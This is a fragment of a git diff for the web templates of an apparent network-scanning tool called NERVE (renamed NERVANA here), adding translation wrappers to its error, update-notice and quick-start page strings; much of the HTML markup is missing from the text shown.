{% if err %} - Error: {{err}} + Error: {{ err }} {% endif %} - {% if msg == "New Version is Available" %} + {% if msg == _("New Version is Available") %} {{msg}}!
- Download + Download {% endif %}
@@ -61,4 +59,4 @@ {% endif %} {% endwith %} - \ No newline at end of file + diff --git a/templates/navbar.html b/templates/navbar.html new file mode 100644 index 0000000..7316c78 --- /dev/null +++ b/templates/navbar.html @@ -0,0 +1,70 @@ + + + diff --git a/templates/quickstart.html b/templates/quickstart.html index e4f2c7d..c97d9f7 100644 --- a/templates/quickstart.html +++ b/templates/quickstart.html @@ -4,11 +4,11 @@ - NERVE + NERVANA - + @@ -17,72 +17,34 @@
- - + +
-

Quick Start

+

{{_('Quick Start')}}

-
Quick Start
+
{{_('Quick Start')}}
-

This is the quickest way to get started.

-

The quick start method uses predefined settings as we see fit. You can find the scan definitions here.

-

All you need to do is define the network and click GO!

+

{{_('This is the')}} {{_('quickest')}} {{_('way to get started.')}}

+

{{_('The quick start method uses predefined settings as we see fit. You can find the scan definitions')}} {{_('here')}}.

+

{{_('All you need to do is define the network and click')}} {{_('GO!')}}

-